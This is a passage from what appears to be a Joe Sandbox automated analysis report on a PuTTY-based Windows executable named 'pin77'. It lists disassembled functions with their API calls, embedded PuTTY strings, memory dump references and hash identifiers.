                                                                                                                                                    • GlobalLock.KERNEL32 ref: 002F21AA
                                                                                                                                                    • _strlen.LIBCMT ref: 002F2395
                                                                                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,-00000001,00000000,00000000), ref: 002F23B0
                                                                                                                                                    • _strlen.LIBCMT ref: 002F23C4
                                                                                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,-00000001,00000000,00000000), ref: 002F23D7
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ByteCharMultiWide_strlen$GlobalLock
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2105387149-0
                                                                                                                                                    • Opcode ID: 9b4802839ffca8b23454d8df9676ad9d3341ffb25321a5c3fdb0800ed45d0088
                                                                                                                                                    • Instruction ID: e014528574998179379ae7c9856b73261f5f7cc80682956b34d1dfedc301c409
                                                                                                                                                    • Opcode Fuzzy Hash: 9b4802839ffca8b23454d8df9676ad9d3341ffb25321a5c3fdb0800ed45d0088
                                                                                                                                                    • Instruction Fuzzy Hash: 602108B290030577E22226216C87F7B725CDF42754F454230FF044E2C2EAA4A918D3A5
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FA9D0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002FA9DA
                                                                                                                                                    • SetWindowLongA.USER32 ref: 002FAA39
                                                                                                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000027,?,?,?,002F2D45,?,?,?), ref: 002FAA51
                                                                                                                                                    • CheckMenuItem.USER32(00000180,00000000), ref: 002FAA6A
                                                                                                                                                    • CheckMenuItem.USER32(00000180,00000000), ref: 002FAA79
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$CheckItemLongMenu
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 730651012-0
                                                                                                                                                    • Opcode ID: 0cd28ec2e0d7074593f8cfd38b73bb918382cc74f0f9ed8194d10d4d45e67798
                                                                                                                                                    • Instruction ID: b44734123d01657a76266e0d4b6b178a9bde7dd6dc8e453a91445d57fd776fa1
                                                                                                                                                    • Opcode Fuzzy Hash: 0cd28ec2e0d7074593f8cfd38b73bb918382cc74f0f9ed8194d10d4d45e67798
                                                                                                                                                    • Instruction Fuzzy Hash: 9701A272A94121BBDB272B58BC06F383F29E745762F250320F719AE1F1CA712814DB84
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FA8A0 Relevance: 7.5, APIs: 5, Instructions: 25windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsZoomed.USER32(002F3EAE), ref: 002FA8A6
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002FA8B8
                                                                                                                                                    • IsZoomed.USER32 ref: 002FA8CB
                                                                                                                                                    • SendMessageA.USER32(00008003,00000000,00000000), ref: 002FA8E9
                                                                                                                                                    • ShowWindow.USER32(00000003), ref: 002FA8FB
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: WindowZoomed$LongMessageSendShow
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 4028103791-0
                                                                                                                                                    • Opcode ID: 3031d4259f77615620c9ae2900ef570ed987eeb8b304584fcb875f3e5c6e7c2c
                                                                                                                                                    • Instruction ID: bf24317e30c866ed014eefd7b4c768a27d79038f133fe2691e25137be7fda161
                                                                                                                                                    • Opcode Fuzzy Hash: 3031d4259f77615620c9ae2900ef570ed987eeb8b304584fcb875f3e5c6e7c2c
                                                                                                                                                    • Instruction Fuzzy Hash: 74F0A5B0250246AADF271F14EE4AF257B2DAB00781F140230A30AA81F1DFA184A0EA09
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003AE952 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 369COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: __freea
                                                                                                                                                    • String ID: a/p$am/pm
                                                                                                                                                    • API String ID: 240046367-3206640213
                                                                                                                                                    • Opcode ID: 6fef7e88a7542a15950ab34904df023ae75dc634acb6a24b6cd5a463aade653d
                                                                                                                                                    • Instruction ID: 22e7146f751eb7aca694a2b59e5894fc256c975541828fa62f2fe157fb79b5f9
                                                                                                                                                    • Opcode Fuzzy Hash: 6fef7e88a7542a15950ab34904df023ae75dc634acb6a24b6cd5a463aade653d
                                                                                                                                                    • Instruction Fuzzy Hash: 89C12239900216CFDB2BDF68C889ABABBB4FF57710F294149E902AF650D3359D41CB61
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031ADB0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 320COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • server subnegotiation: SB TTYPE SEND, xrefs: 0031B349
                                                                                                                                                    • client subnegotiation: SB TTYPE IS %s, xrefs: 0031B35F
                                                                                                                                                    • server subnegotiation: SB TTYPE <something weird>, xrefs: 0031B415
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: client subnegotiation: SB TTYPE IS %s$server subnegotiation: SB TTYPE <something weird>$server subnegotiation: SB TTYPE SEND
                                                                                                                                                    • API String ID: 0-1023599780
                                                                                                                                                    • Opcode ID: 146644b7173b92df182eb93ebaf839a5edb970b659ea216b60548f59331d13b2
                                                                                                                                                    • Instruction ID: 2e42f40b91dab7e207a604eb7155f3f0a756771e723a3640917fbfc83cb6701c
                                                                                                                                                    • Opcode Fuzzy Hash: 146644b7173b92df182eb93ebaf839a5edb970b659ea216b60548f59331d13b2
                                                                                                                                                    • Instruction Fuzzy Hash: EFB15770608301EFD71A8B24DC45BAAF7A9AF9D314F548629F4968B3D2D331D881D7A3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003531F0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • file format error, xrefs: 003531F2
                                                                                                                                                    • nlines < MAX_KEY_BLOB_LINES, xrefs: 00353238
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/sshpubk.c, xrefs: 00353233
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/sshpubk.c$file format error$nlines < MAX_KEY_BLOB_LINES
                                                                                                                                                    • API String ID: 4218353326-1228660610
                                                                                                                                                    • Opcode ID: 24c432a0ad71c19dbc3182a0c43463fd3106379e8d46d53d25698af81860d944
                                                                                                                                                    • Instruction ID: a312c465590c747a661c8803a53af6f5fd7576c45e5c9ed222339fe5b44d7ace
                                                                                                                                                    • Opcode Fuzzy Hash: 24c432a0ad71c19dbc3182a0c43463fd3106379e8d46d53d25698af81860d944
                                                                                                                                                    • Instruction Fuzzy Hash: 283149B1D046106BD712BA65EC43F5B72989B40744F060839FC49DF262EA32EE1CC693
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00312CC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsDlgButtonChecked.USER32(?,?), ref: 00312D3B
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00312D07, 00312D50
                                                                                                                                                    • c && c->ctrl->type == CTRL_RADIO, xrefs: 00312D0C
                                                                                                                                                    • false && "no radio button was checked", xrefs: 00312D55
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ButtonChecked
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_RADIO$false && "no radio button was checked"
                                                                                                                                                    • API String ID: 1719414920-168353766
                                                                                                                                                    • Opcode ID: bd0496c77f10a9db4861334748743cc411381074c7fc70a9442cc36dcbd247d9
                                                                                                                                                    • Instruction ID: fe4d7336dce460f97c6794f2756950bac6bd2934a167c3336b7c34e3db28e4f8
                                                                                                                                                    • Opcode Fuzzy Hash: bd0496c77f10a9db4861334748743cc411381074c7fc70a9442cc36dcbd247d9
                                                                                                                                                    • Instruction Fuzzy Hash: 2D115572B00204DFD7229F1AEC87F9773A5EF99744F060120F4089B292E671ECA08BA5
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0033A900 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032E7A0: _strlen.LIBCMT ref: 0032E7AB
                                                                                                                                                      • Part of subcall function 0032E7A0: _strcat.LIBCMT ref: 0032E7C7
                                                                                                                                                    • _strlen.LIBCMT ref: 0033A98D
                                                                                                                                                    Strings
                                                                                                                                                    • !cs->sent_verstring, xrefs: 0033A9D5
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/sharing.c, xrefs: 0033A9D0
                                                                                                                                                    • SSHCONNECTION@putty.projects.tartarus.org-2.0-, xrefs: 0033A97D
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen$_strcat
                                                                                                                                                    • String ID: !cs->sent_verstring$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/sharing.c$SSHCONNECTION@putty.projects.tartarus.org-2.0-
                                                                                                                                                    • API String ID: 1497175149-1639915603
                                                                                                                                                    • Opcode ID: bc1fcc960c5530f5e0b34db2886f286ab06f25c8b1e3771ce42d8b936717c21c
                                                                                                                                                    • Instruction ID: 388482b97df4ebbcfea13081509741468732b46e13198c11f31fc94bb87992dc
                                                                                                                                                    • Opcode Fuzzy Hash: bc1fcc960c5530f5e0b34db2886f286ab06f25c8b1e3771ce42d8b936717c21c
                                                                                                                                                    • Instruction Fuzzy Hash: 85215172900B406BE7236A31FC43F6776589B51314F0A0625FC455A2D3E763E994C3B3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031C5E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: BreakClearCloseCommHandle
                                                                                                                                                    • String ID: End of file reading from serial device$Error reading from serial device
                                                                                                                                                    • API String ID: 2685284230-2629609604
                                                                                                                                                    • Opcode ID: 541f3ee36d539a5ebddf9ab93625724ad29ce8679f031989a9c015d94630dde1
                                                                                                                                                    • Instruction ID: d49e6a2461fcbcbc2dd054f84d658f4cc7b19787889983d2de6f3bd3f96c1a54
                                                                                                                                                    • Opcode Fuzzy Hash: 541f3ee36d539a5ebddf9ab93625724ad29ce8679f031989a9c015d94630dde1
                                                                                                                                                    • Instruction Fuzzy Hash: FC21F0B16007009BDB229F68DC49F47B7E8EF88315F180928F896C72A1D731E858CB51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • PostQuitMessage.USER32(00000000), ref: 002F6799
                                                                                                                                                    • ShowCursor.USER32(00000001), ref: 002F67DD
                                                                                                                                                    • MessageBoxA.USER32 ref: 002F67FD
                                                                                                                                                    Strings
                                                                                                                                                    • Connection closed by remote host, xrefs: 002F67F2
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message$CursorPostQuitShow
                                                                                                                                                    • String ID: Connection closed by remote host
                                                                                                                                                    • API String ID: 3394085358-3682140707
                                                                                                                                                    • Opcode ID: 99fa14f582157ca5c7f8eeaa0dd8b749b4d04025d12860dfb3c40433574f7f09
                                                                                                                                                    • Instruction ID: cb5af6c43340e3e32b04c1677e935b438ae70f5c242bb4666f332ca8a96593bc
                                                                                                                                                    • Opcode Fuzzy Hash: 99fa14f582157ca5c7f8eeaa0dd8b749b4d04025d12860dfb3c40433574f7f09
                                                                                                                                                    • Instruction Fuzzy Hash: B001F970914246EBEB233764FC4EB747A59D7053AAF240234F708591F2DBB19869C791
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6390 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ShowCursor.USER32(00000001), ref: 002F63C9
                                                                                                                                                    • MessageBoxA.USER32 ref: 002F63E0
                                                                                                                                                    • PostQuitMessage.USER32(00000001), ref: 002F6416
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message$CursorPostQuitShow
                                                                                                                                                    • String ID: %s Fatal Error
                                                                                                                                                    • API String ID: 3394085358-656502033
                                                                                                                                                    • Opcode ID: 69cb80cc4348d0622b64fcca91c02ede3fa87e21872f628ce387be4ab8fe46cf
                                                                                                                                                    • Instruction ID: b8286fce91ae91b9a1cbb0a76c5f7a805bca28914e886f6d01a97bdfd16e15e3
                                                                                                                                                    • Opcode Fuzzy Hash: 69cb80cc4348d0622b64fcca91c02ede3fa87e21872f628ce387be4ab8fe46cf
                                                                                                                                                    • Instruction Fuzzy Hash: 76F02875960241BBE7333765BC0FFA53A28EB45759F040130F704291F3EAA25464C7E2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F69A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0039DB41: IsProcessorFeaturePresent.KERNEL32(00000017,0039149B,?,?,?,?,00000000), ref: 0039DB5D
                                                                                                                                                    • GetDC.USER32(00000000), ref: 002F69DE
                                                                                                                                                    • SelectPalette.GDI32(00000000,00000000), ref: 002F69F3
                                                                                                                                                    Strings
                                                                                                                                                    • !wintw_hdc, xrefs: 002F69C5
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c, xrefs: 002F69C0
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: FeaturePalettePresentProcessorSelect
                                                                                                                                                    • String ID: !wintw_hdc$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c
                                                                                                                                                    • API String ID: 1536087120-2276619470
                                                                                                                                                    • Opcode ID: 7245a81c9d36a05ffd070d9f6275c18d92cd7440781ae353ba20b690fd41ee32
                                                                                                                                                    • Instruction ID: 64ae740ec420b2391a4589e3200315ec28b494da1edfa1e15716466c6c085711
                                                                                                                                                    • Opcode Fuzzy Hash: 7245a81c9d36a05ffd070d9f6275c18d92cd7440781ae353ba20b690fd41ee32
                                                                                                                                                    • Instruction Fuzzy Hash: D1F0A072A002169BD7232B6ABD0EFB372ACDB91B80F090231F6059A1E4CE718851C620
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00315680 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36networkCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • WSAAsyncSelect.WS2_32(?,00000000,00008005,0000003F), ref: 003156C4
                                                                                                                                                    • WSAGetLastError.WS2_32 ref: 003156D3
                                                                                                                                                    Strings
                                                                                                                                                    • winsel_hwnd, xrefs: 003156AE
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/select-gui.c, xrefs: 003156A9
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AsyncErrorLastSelect
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/select-gui.c$winsel_hwnd
                                                                                                                                                    • API String ID: 1263927367-2029041565
                                                                                                                                                    • Opcode ID: 7e22c9e2d666ae7983ef1b514e8df0582bc5459a89e59ab85bac8b97226fed9e
                                                                                                                                                    • Instruction ID: 0d918dfe42b5c6a1e7ef2559245fb601392baa5a395950b47cd2771a1e42cae1
                                                                                                                                                    • Opcode Fuzzy Hash: 7e22c9e2d666ae7983ef1b514e8df0582bc5459a89e59ab85bac8b97226fed9e
                                                                                                                                                    • Instruction Fuzzy Hash: E7F0BEB1600750AFD6039B65AC89FAB239C8BCD364F840920F915D61C0E2209D448AB1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003AB5DC Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
